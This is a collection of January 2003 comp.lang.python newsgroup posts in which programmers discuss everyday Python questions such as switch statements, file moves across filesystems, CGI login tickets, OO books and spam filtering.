From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 22 Jan 2003 04:55:11 GMT
Subject: Pythonwin Trace Collector
In-Reply-To: <Y4qX9.495$eZ2.351529@newssrv26.news.prodigy.com>
References: <Y4qX9.495$eZ2.351529@newssrv26.news.prodigy.com>
Message-ID: <PupX9.15387$m47.50339@news-server.bigpond.net.au>

dsavitsk wrote:
> Hi all,
> 
> Is there a way to redirect Pythonwin's "Trace Collector Debugging tool" to a
> file, 
Run:
win32traceutil.py > somefile

> or, even better, to subclass the trace collector such that the output
> can be parsed before going to the file?

Nope, but see win32traceutil.py for how you could implement whatever you 
wanted.  It's pretty simple.

Mark.




From tztemp14 at pobox.com  Sat Jan  4 10:39:18 2003
From: tztemp14 at pobox.com (Tom Zych)
Date: Sat, 04 Jan 2003 15:39:18 GMT
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>
	 <cc197b7b.0301040224.554869e7@posting.google.com> <mailman.1041678186.20077.python-list@python.org>
Message-ID: <3E17002B.8E67641E@pobox.com>

Andrew McGregor wrote:
> if str.index('binaries') == -1:
>   # then str did not contain the word.

Python 2.2 doesn't return -1 when string.index fails; it raises
a ValueError exception. Are there older versions of Python that
return -1?

--
Tom Zych
This email address will expire at some point to thwart spammers.
Permanent address is rot13(gbzmlpu at cbobk.pbz).



From laocoon at eudoramail.com  Fri Jan 31 17:40:52 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Fri, 31 Jan 2003 23:40:52 +0100
Subject: Setting a Global Default for class construction?
References: <b1erj009ok@enews3.newsguy.com> <Xns9314F01258E9CLaocoon@62.153.159.134>
Message-ID: <Xns9314F0F37A6D0Laocoon@62.153.159.134>

Lao Coon <laocoon at eudoramail.com> wrote in news:Xns9314F01258E9CLaocoon@
62.153.159.134:

> Josh English <english at spiritone.com> wrote in 
> news:b1erj009ok at enews3.newsguy.com:
> 
>> Here is the code that I am struggling with in a Python module:
>> 
>> _Thing = "it"
>> 
>> def SetThing(s):
>>      global _Thing
>>      _Thing = str(s)
>> 
>> class NewThing:
>>      def __init__(self,thing=_Thing):
>>           self.Thing = _Thing
> 
> Here you're always setting self.Thing to "it"
> you want "self.Thing = thing"..

Hmm that's wrong of course! I misunderstood sorry.

add a
global _Thing in your definition of __init__ and you should be fine...

Lao



From mcfletch at rogers.com  Tue Jan 14 14:35:01 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Jan 2003 14:35:01 -0500
Subject: ResourcePackage 1.0.0a3 available
Message-ID: <3E246665.8080905@rogers.com>

This release incorporates a lot of feedback from Just.  As a result it 
changes the module-naming scheme, so anything written in the last day 
with 1.0.0a2 will break.  It also includes a new "scan.py" script for 
manually re-scanning your resourcepackages which is very similar to the 
"extract.py" script.  

    See the readme.txt for the change-log if you've been using 1.0.0a2
    (or earlier)!

Hopefully the quick release will prevent too much rewriting being necessary.

Homepage:

    http://resourcepackage.sourceforge.net/

What is it?

    ResourcePackage is a mechanism for automatically managing resources
    (i.e. non-Python files: small images, documentation files, binary
    data) embedded in Python modules (as Python source code),
    particularly for those wishing to create re-usable Python packages
    which require their own resource-sets.

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From peter at engcorp.com  Thu Jan 16 09:06:56 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 09:06:56 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no>
Message-ID: <3E26BC80.D1BB4FC6@engcorp.com>

Thomas Weholt wrote:
> 
> Hm ... I see your point. I began thinking about this when I read some old
> code where a variable changed datatype during its lifespan inside a function
> several times. I think it was passed as a string, turned into a int and
> could be returned from the function as None depending on its content. It was
> awful. It was probably the worst code I've ever written, in any language,
> but only Python allowed me to do it this way. If I'd prefixed the variable
> to indicate it's datatype it would have been harder to change its datatype
> that way, but then again --- changing datatype of a variable during
> processing is probably not a very good idea in the first place.

You might have a slightly different take on things if you look at it this
way.  You are not changing the datatype of the variable because, in Python,
"variables" (as in, names) do not have types.  The thing that the name 
is "bound to" is what has a type (e.g. integer, object, etc), and you
can rebind the name during the function.

Practically it might amount to the same thing.  In terms of the underlying
mechanisms it is quite, quite different.

It's also not considered inherently wrong in Python, although in the
hands of a bad programmer it can be dangerous.

-Peter



From pan-newsreader at thomas-guettler.de  Tue Jan 14 16:50:50 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Tue, 14 Jan 2003 22:50:50 +0100
Subject: wxGrid difficulty
References: <b01s6h$kvr$1@newsg4.svr.pol.co.uk>
Message-ID: <pan.2003.01.14.22.50.49.628423.735@thomas-guettler.de>

On Tue, 14 Jan 2003 21:35:19 +0100, mail wrote:

> Using Python version 2.2.2 and wxPython version 2.3.4.2 I'm trying to
> write a basic grid class as a component for a larger system. The grid
> doesn't seem to be appearing as I was expecting I just get a grey square
> in one corner and the rest of the frame blank.

I had this problem, too. I was told Fit() does the magic to show the
grid. You can see my original post in the wxwindows newsgroup.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From martin at v.loewis.de  Thu Jan 16 13:13:11 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 16 Jan 2003 19:13:11 +0100
Subject: Changing truth
In-Reply-To: <3E26E7BA.5010207@tismer.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@python.org> <m34r89703y.fsf@mira.informatik.hu-berlin.de> <3E26E7BA.5010207@tismer.com>
Message-ID: <3E26F637.2050103@v.loewis.de>

Christian Tismer wrote:
> Maybe a compromize would be to capture
> assignments to True and False in a way
> that they issue a warning if the assigned
> value is not coercable to 1 resp. 0?

Those checks are compile-time warnings, so it is difficult to implement 
them at interpretation time. Also, there are cases were True/False are 
used as parameter names.

Regards,
Martin






From max at alcyone.com  Sun Jan 12 18:39:03 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 15:39:03 -0800
Subject: pure virtual functions in python
References: <avrto1$gdk$1@news-reader10.wanadoo.fr>
Message-ID: <3E21FC97.F4E03A1B@alcyone.com>

polux wrote:

> how to emulate them ?
> I mean, how to force a user to redifine some functions in a derivated
> class ?

I usually emulate them by throwing a NotImplmementedError.  For classes
which are "abstract" -- that is, have at least one "pure virtual method"
-- you can use something like

	class AbstractSomething:
	    def __init__(self, ...):
	        if self.__class__ is AbstractSomething:
	            raise NotImplementedError
	        ...

	class ConcreteSomething(AbstractSomething):
	    def __init__(self, ...):
	        AbstractSomething.__init__(self, ...)

This will prevent people from creating AbstractSomethings directly, but
they'll have no problem calling the AbstractSomething.__init__ method
from a subclass.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A good indignation brings out all one's powers.
\__/ Ralph Waldo Emerson
    Lsystem / http://www.alcyone.com/pyos/lsystem/
 A Lindenmayer systems explorer in Python.



From LogiplexSoftware at earthlink.net  Thu Jan 23 12:33:17 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 23 Jan 2003 09:33:17 -0800
Subject: Python use growing or shrinking
In-Reply-To: <3E3023B0.7060000@Linux.ie>
References: <v2rhpd4d6p8f79@corp.supernews.com>
	 <3E2DFBC6.32058F2C@alcyone.com>
	 <b68f71a7.0301220333.143efd58@posting.google.com>
	 <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net>
	 <3E301F4A.3060803@nipltd.com>  <3E3023B0.7060000@Linux.ie>
Message-ID: <1043343196.18175.298.camel@software1.logiplex.internal>

On Thu, 2003-01-23 at 09:17, Padraig at Linux.ie wrote:
> Chris Keyes wrote:
> > IBM will never use Python for everything...
> 
> Why do you say this?

IBM never uses anything for everything.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From max at alcyone.com  Fri Jan 17 20:00:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 17 Jan 2003 17:00:02 -0800
Subject: comprehensions was Re: Switch statements again
References: <mailman.1042817433.6322.python-list@python.org>
Message-ID: <3E28A712.68CC6A81@alcyone.com>

Tim Peters wrote:

> That's right, and is really all there is to it.  Guido wanted
> 
>     [f(x) for x in whatever]
> 
> to act "exactly like"
> 
>     result = []
>     for x in whatever:
>         result.append(f(x))

Note that I carefully noticed this behavior and followed the pattern in
EmPy as well:

max at oxygen:~/projects/empy% ./em.py 
@[for i in range(10):@i, ]
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 
@i
9

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ There are defeats more triumphant than victories.
\__/ Montaigne
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From tim.one at comcast.net  Sat Jan 25 07:15:16 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 25 Jan 2003 07:15:16 -0500
Subject: killing thread ?
In-Reply-To: <7xsmvhq2bc.fsf@ruckus.brouhaha.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEDIDKAB.tim.one@comcast.net>

[Paul Rubin]
> ...
> CPU time may be hard to measure on a per-thread basis, but certainly it
> can count byte codes executed, which should be enough for the purpose.

Count of bytecodes executed is monotonic with CPU cycles consumed, but
there's no definable relationship beyond "monotonic with" -- there's no
upper bound on how much work a single bytecode can require before the PVM is
entered again.  For example, a single bytecode can kick off a (very) long
int division requiring CPU minutes, or a regexp search requiring CPU
millennia.  Here's a cute one:

a = []
for i in range(4): a.append(a)
b = []
for i in range(4): b.append(b)
equal = a == b

The opcode for "==" there won't return until about a century has passed:
counting bytecodes is simply useless as a protection against DOS attacks of
a CPU-hogging nature.

resource-limitations-are-an-os's-job-ly y'rs  - tim





From max at alcyone.com  Wed Jan 15 03:47:41 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 00:47:41 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com>
Message-ID: <3E25202D.D32F5CEF@alcyone.com>

Will Stuyvesant wrote:

> I don't know about setting up SSL for a site.  Do you think my local
> ISP would support it?  I mean is it normal to expect them to provide
> it?

A professional ISP would, but they may charge you extra.  You'd have to
pay for certificates as well.

> My site is nonexistent yet...I am still in the development phase.  So
> far I have been able to program and design login pages (with
> passwords) and a couple of subsequent pages that use a user ID code
> generated by the login page CGI script: the user ID code is based on
> the current time and passed along via <input type=hidden> tags.  This
> seems to work ok and it would be very hard for somebody else to guess
> a randomly generated user ID code that is only valid a limited time.

I've done similar things, and it's usually sufficient if you're not too
worried about people compromising each other's accounts.  You should
also include the remote host in generating the ID, so that someone can't
sniff it remotely and then use it from another host (while the ID is
still active).  In my case it was a combination of the user name/ID,
host, login time, and a random number, obscured and then fed through an
md5 hash to generate a ticket.

The ensure that when players logout the tickets are invalidated, and
that they expire after a certain amount of time.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Substance is one of the greatest of our illusions.
\__/ Sir Arthur Eddington
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From me at privacy.net  Wed Jan 29 21:01:21 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 30 Jan 2003 15:01:21 +1300
Subject: else in list comp
References: <mailman.1043813212.6357.python-list@python.org>
Message-ID: <3E388771.906@privacy.net>

Cliff Wells wrote:

> What I thought of first:
> 
> ['' for i in l if i is None else i]
> 
> Any thoughts on something like this?


I don't think you've thought this through properly. Consider
that a list comp can have multiple if and/or for clauses
interspersed. How would your proposed feature work in the
general case?

Also, you need to understand that an if clause in a list
comp decides *whether* to include an item in the list;
it doesn't decide *what* to include in the list. Given
that, I can't see that attaching an else clause to it
makes any sense.

Greg




From gumuz at looze.net  Mon Jan 20 04:36:32 2003
From: gumuz at looze.net (Gumuz)
Date: Mon, 20 Jan 2003 10:36:32 +0100
Subject: UML and Python
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net> <keHW9.1815$_N5.133228@news20.bellglobal.com>
Message-ID: <3e2bc386$0$802$4d4ebb8e@news.nl.uu.net>

waaaaaaah,

this looks great! :)

I personally belief that because of Python's clean style and readability,
it's perfectly well suited for 'teaching' the concept of Object Orientation
and possibly other programming concepts too. In this process UML can be very
helpful too.



"Sean Ross" <sross at connectmail.carleton.ca> wrote in message
news:keHW9.1815$_N5.133228 at news20.bellglobal.com...
> Hi. I really don't have much to say about UML except to say that it can be
> useful for the reasons you've given:
>
> >So I'm mostly interested in its ability to clarify my own code to myself
> for
> >architectural improvement. On the other hand, I do have to communicate
with
> >others about the design for future use, and I hope to attract other
> >developers to the project by being well-designed and well-documented.
And,
> >for non-developers, there's also some documentation into the general
design
> >and capabilities of the software, which might benefit from parts of UML
>
> But, in case you're interested, you might want to check this out:
> http://pyut.sourceforge.net/features.php
>
> From the site:
> '''
> What is Pyut ?
> PyUt :
> PyUt is a little UML1.3 class diagram editor with support for output
> plug-ins. Export to XML, JPEG, BMP, PS. PyUt stands for Python UML
Toolkit.
> '''
>
> and, apparently, it includes:
>
> Python generation + reverse engineering
> Java generation + reverse engineering
> C++ generation
>
> You can use it for class diagrams and use-case diagrams. They're working
on
> sequence diagrams.
>
> Anyway, good luck with what your working on,
> Sean
>
>





From imbosol at vt.edu  Thu Jan  9 14:14:57 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 09 Jan 2003 19:14:57 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net>
Message-ID: <RSjT9.38030$1c.26589@nwrddc01.gnilink.net>

Nick Vargish wrote:
> Afanasiy <abelikov72 at hotmail.com> writes:
> 
>> You don't know what I am doing. My design is perfect.
> 
> c.f. 'hubris'.


I hope everyone else realizes he (Afanasiy) was being ironic.  I
realize using sublte irony in a computer programming chat room is not
the smartest thing to do, as programmers tend not to be the most
metaphorical people in the world.


-- 
CARL BANKS



From fperez528 at yahoo.com  Thu Jan 30 18:29:34 2003
From: fperez528 at yahoo.com (Fernando Perez)
Date: Thu, 30 Jan 2003 16:29:34 -0700
Subject: moving a file in a filesystem-independent way?
Message-ID: <b1ccej$1tc$1@peabody.colorado.edu>

Hi all,

I've stumped myself today with a seemingly silly problem, and I'd like to 
hear a bit from the experts.

I need to move a file from A to B, under Linux. Simple enough task, use 
os.rename(A,B).  Right? 

Wrong.

Depending on whether A and B are located on the same filesystem or not, the 
call may fail with a nice 

OSError: [Errno 18] Invalid cross-device link

exception.  I googled around, and found that the best answer seems to be: 
'under certain versions of unix, to move a file do a manual copy and then 
unlink the file'.  This is just silly.  If 'mv' can work around filesystem 
issues, why can't we have a simple os.move() command which does the same?

I know, I can either just call mv myself or trap the above exception and 
then do a copy/delete, or just do a copy/delete from the get-go and live 
with the additional expense.  All these solutions look butt-ugly to me.

At the shell, I just type 'mv A B'. A cheap relink will be done if there's 
no filesystem boundary to cross, and a copy will be performed if necessary.  
But _I_ don't have to worry about that kind of low-level detail.

This problem is nasty because the structure of unix filesystems is such that 
things can change drastically from one machine to anonther.  It's the first 
time that I find python being 'dumber' than the plain shell commands.

But I'm sure it's me being dumb, not python :) So I'd appreciate any 
enlightenment on why things are this way, or how I should go about the 
problem.

Thanks,

f.



From peter at engcorp.com  Thu Jan 16 09:02:21 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 09:02:21 -0500
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <20030116143057.B1683@regdp-02.intint.registriesltd.com.au> <15910.14790.560885.524643@montanaro.dyndns.org> <mailman.1042695688.821.python-list@python.org>
Message-ID: <3E26BB6D.EB92C353@engcorp.com>

"David K. Trudgett" wrote:
> 
> On Wednesday 2003-01-15 at 22:49:10 -0600, Skip Montanaro wrote:
> >
> >     David> Python should get a case/switch statement, ...
> >
> > A fair amount of thought has been put into this topic.  Have a look at PEP
> > 275:
> >
> >     http://www.python.org/peps/pep-0275.html
> 
> That's interesting. I didn't know about that. What's Guido's take on
> it? (Since he seems to be the "Python Dictator".)

Nit: replace "seems to be" with "is".  There's no seeming about it.

By the way, since you didn't know about PEPs, you should look at
http://www.python.org/peps/pep-0001.html (PEP Guidelines) wherein
you'll find this statement: 
  "Once the authors have completed a PEP, they must inform the PEP 
   editor that it is ready for review.  PEPs are reviewed by the BDFL
   and his chosen consultants, who may accept or reject a PEP or send
   it back to the author(s) for revision."

Note also the status of PEP 275: "draft", which means not yet ready
for review...

-Peter



From lac at strakt.com  Sat Jan 25 16:17:17 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 22:17:17 +0100
Subject: December 2002 comp.lang.* stats 
In-Reply-To: Message from "Aaron K. Johnson" <akjmicro@yahoo.com> 
   of "Sat, 25 Jan 2003 14:38:12 CST." <b0usjm$jsl$1@bob.news.rcn.net> 
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <b0usjm$jsl$1@bob.news.rcn.net> 
Message-ID: <200301252117.h0PLHIjL002886@ratthing-b246.strakt.com>

> In message <3E32E5D6.82887F98 at engcorp.com>, Peter Hansen wrote:
> > "Aaron K. Johnson" wrote:
> > > 
> > > A person is what counts as a 'unique poster'. A message ID alone would no
> t
> > > measure the 'user base' factor "im interested in.
> > > 
> > > Spam is still a problem to consider. It's not perfect yet.......
> > 
> > Spam is probably a problem best ignored.  It would probably
> > affect all those groups equally anyway.
> > 
> > -Peter
> 
> I agree. Plus, I'm not interested in working THAT hard to be that
> anal-retentive about data which some would argue is still vague enough to be
> discounted.
> 
> -Aaron. 

Just FYI -- I am aware this is something that you are mostly doing for
fun, and don't want to spoil it for you -- but you mentioned that you
wanted to be 'more scientific' about this.  This question -- do
I bother with this data?  is it significant?  is the meat of the
'is what I am doing science' question.  I also want to check to make
sure that you are aware that 'I don't know the factors which contribute
to having X in set Y' or even 'Nobody knows' or 'It is impossible to
know' implies 'it will affect all sets equally'.  That belief is bad
science.

Have fun, thanks for the posts,
Laura Creighton





From BPettersen at NAREX.com  Sun Jan  5 21:23:53 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Sun, 5 Jan 2003 19:23:53 -0700
Subject: new years resolutions 
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE83@admin56.narex.com>

> From: Laura Creighton [mailto:lac at strakt.com] 
[...]
> > Now, if I may ask a personal question, what you didn't like 
> in science/academia ?
> 
> This is just off the top of my head....
> 
> 1. preoccupation with cleverness as opposed to wisdom
> 2. giving the job of 'preparing people for industry' to 
> people who have
>    mostly never been there.
> 3. believing that teaching is something that comes naturally. 
>  No effort
>    is made to train professors on how to teach well.  This is 
> a trainable
>    skill.
> 4. in some places -- forcing people to teach so that you 
> cannot simply do
>    research all the time if you hate teaching.  in other 
> places, getting
>    rid of or valuing less the great teachers, because their 
> research isn't
>    so hot.  Many places do both, of course.
> 5. Greedily embracing the notion that 'a university education is for
>    everyone' because it means more funding, reguardless of 
> what it means
>    for would-be academics who now usually have to wait until they get
>    to grad school -- or now in some fields a postdoc before 
> they can do 
>    anything truly original.  That is too long a wait.
> 6. Classroom teaching as opposed to Master/Apprentice type 
> relationships.
> 7. Preoccupation with novelty, and originality, as opposed to 
> soundness.
> 8. The complete disreguard of 'good workmanship' as the counterpart to
>    'sound design'.  These days people are likely to learn 
> that the work
>    is good because it was 'designed well', as opposed to the fact that
>    one of many good designs was selected -- the result was 
> good because
>    _the workmanship was good_.  (Good workmanship cannot save a really
>    rotten design, unfortunately.)
> 9. A life focused on Grading people.  Making grades, not knowledge or
>    wisdom the important centre of the universe.
> 10. (in some places) The notion that only the top 10% matter -- the
>     rest can all go hang.
> 11. The belief that business is somehow demeaning.
> 12. The belief that business is somehow superior. 
> 13. Too many fools.
> 14. Too swollen egos.
> 15. The furthering of the belief that Art is merely entertainment.
> 16. The furthering of the belief that it is a good idea to appear
>     better than you really are.
> 17. Too many people who feel they have the right to be 
> contemptuous of others.
> 18. Too much paperwork.
> 19. Too much specialisation within a given field.
> 20. Not enough play.
> 21. Really boring textbooks written by people who cannot write.
> 22. An over-reliance on analytical as opposed to geometric methods.
> 23. Avoidance of risk.
> 24. Avoidance of beauty.
> 25. Focusing on that which can be measured (in itself a good 
> thing, and
>     the secret of Western success) but not to the extent where that
>     which cannot be measured is deemed unimportant, or even 
> non-existant.
> 26. Students who sit like turnips in your lectures.

ROFL! It's all so painfully true though, which explains why you hardly
ever see anyone fresh out of college that can recognize the problem in
front of them as a special case of something they studied (which I would
have thought would be the entire point of education... *sigh*).

The list is definitely going in my quotes file :-)

-- bjorn




From peter at engcorp.com  Fri Jan 31 14:57:28 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 31 Jan 2003 14:57:28 -0500
Subject: mention of books & extensions welcome, or...? (was Re: Scripting 
 *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it>
Message-ID: <3E3AD528.DF6D6DF5@engcorp.com>

Alex Martelli wrote:
> 
[Someone wrote:]
> > This thread is just full of product placement.
> >
> > *grumble*
> 
> Is this just an isolated opinion, with most readers still
> welcoming mentions and details about Python books and
> extension packages; or, has comp.lang.python's consensus
> shifted so drastically, so fast, so that such mentions are
> now seen as undesirable "product placement"???
> [...]
> So, what's the current consensus...?

I think it's fair to say that (a) the book in question is eagerly
anticipated by a large number of the newsgroup/mailing list participants,
and (b) the author is aware of that and was trying to be helpful by 
dropping a hint as to when the book might actually be available.

And in that case it's certainly a welcome "product placement"
comment... I hate running out to Chapters every week to see if
it's in, and not knowing if someone else from work ran out ahead
of me and grabbed the last copy (as happened with Test-Driven 
Development once!). :)

-Peter



From lac at strakt.com  Fri Jan 17 12:49:41 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 17 Jan 2003 18:49:41 +0100
Subject: Introduction object-oriented programming 
In-Reply-To: Message from Mike Meyer <mwm@mired.org> 
   of "Fri, 17 Jan 2003 17:44:09 GMT." <x7iswn4qoa.fsf@guru.mired.org> 
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> 
Message-ID: <200301171749.h0HHnfjL022945@ratthing-b246.strakt.com>

> "Wouter van Marle" <wouterm at spammers-unite-here.com> writes:
> 
> > Can anyone recommend me an introduction on object oriented programming in
> > general, and the trick in Python? Preferrably tutorial on the web or so.
> 
> For OO in general, the best thing I've seen - by a large margin - is
> Bertrand Meyer's (no relation) "Object Oriented Software
> Construction". It's not available on the web, but well worth buying.
> 
> It may make you want to find an Eiffel compiler.
> 
>         <mike
> -- 
> Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
> Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.
> -- 
> http://mail.python.org/mailman/listinfo/python-list

See http://archive.eiffel.com/doc/manuals/technology/oosc/page.html
for Table of Contents, Preface, and one Sample chapter.

Laura Creighton




From jdhunter at ace.bsd.uchicago.edu  Mon Jan 13 13:23:47 2003
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 13 Jan 2003 12:23:47 -0600
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <avuha2$jivd2$1@ID-114079.news.dfncis.de> (Jeremy Yallop's
 message of "13 Jan 2003 14:09:06 GMT")
References: <7x8yxqduco.fsf@ruckus.brouhaha.com>
	<mailman.1042209749.31180.python-list@python.org>
	<FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
	<7xr8bjgz4x.fsf@ruckus.brouhaha.com>
	<mailman.1042326208.15022.python-list@python.org>
	<7x4r8ej1r9.fsf@ruckus.brouhaha.com>
	<mailman.1042393464.20506.python-list@python.org>
	<7x8yxqduco.fsf@ruckus.brouhaha.com>
	<5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
	<mailman.1042427842.32098.python-list@python.org>
	<avuha2$jivd2$1@ID-114079.news.dfncis.de>
Message-ID: <m28yxokix8.fsf@mother.paradise.lost>

>>>>> "Jeremy" == Jeremy Yallop <jeremy at jdyallop.freeserve.co.uk> writes:


    Jeremy> Pygmy.

Nice name, so nice, it's gone. http://pygmy.sourceforge.net

How about the dimunitive:

  pylet 

or bare bones:

  minpy

JDH




From vanevery at 3DProgrammer.com  Thu Jan 30 16:45:42 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:45:42 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it>
Message-ID: <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>

Alex Martelli wrote:
>
> On GUI development specifically: those parts of your GUI that you
> choose to have code-generated for you by some "GUI painter" program
> take you just the same amount of time whatever language your GUI
> painter code-generates into.  It's only when you want to modify (or
> enrich by inheritance, often a better choice) the generated code,
> e.g. to make the GUI *DO* anything (whether directly related to
> your appication, or indirectly as in a "proof of concept" prototype),
> that the language used for the modifications or enrichment matters.
> When it DOES matter, Python shines.

"Do anything" is an extreme formulation.  More accurate might be:
1) does the GUI builder provide the hooks I need for my problem domain?
2) is my problem domain going to change much?

>> This all sounds like an argument about spontaneous vs. architectural
>> coding styles.
>
> Your ears are playing you false.  While Python supports "spontaneous"
> (interactive, exploratory) coding PRETTY well (not QUITE as well -- in
> terms of available environments as opposed to the language itself --
> as languages that typically come with IDE's centered on the
> "workspace" concept, such as APL, Smalltalk, Lisp; but definitely
> better than
> e.g. Java, C++, Fortran), this does not imply it has any problem at
> all with supporting "architectural" (systematic, goal-directed)
> coding.

My contention is, if your approach is incremental and architectural, Python
does not offer any amazing payoff over C++.  Python only gives you a big
value add when you're trying to be more spontaneous.

> I have noticed similar orders of magnitude in the productivity boost
> that Python gives me (compared with, for example, C++ or Java) in
> either case.

Expertise, quality / badness of the design you're working with, and your
level of control over the project are all factors here.  It's hard to
compare apples to apples without looking at someone's project.  I guess in
the end, you just try it out.  I wonder if people evaluate their positive
experiences for the correct reasons though.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From tjreedy at udel.edu  Thu Jan 30 16:49:04 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 30 Jan 2003 16:49:04 -0500
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home> <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com> <b1bnl2$181k$1@nntp6.u.washington.edu> <CbacnQHt9pV09aSjXTWcqw@comcast.com>
Message-ID: <86KcnY5yWZZ5A6SjXTWc2Q@comcast.com>

> Broad blacklists like this are nothing more than the geek equivalent
of a
> playground tantrum.

No one has a right to have their messages delivered for free by other
people.
Newgroups are as spam-free as they are precisely because of the threat
and historical actuality of the Usenet Death Penalty
http://www.stopspam.org/usenet/faqs/udp.html.

It is unfortunate that the same process will have to be gone thru for
email.  But the fault is with ISPs who collect fees to collaborate
with spammers -- who are willing to kill the goose for their piece of
the meat.

TJR





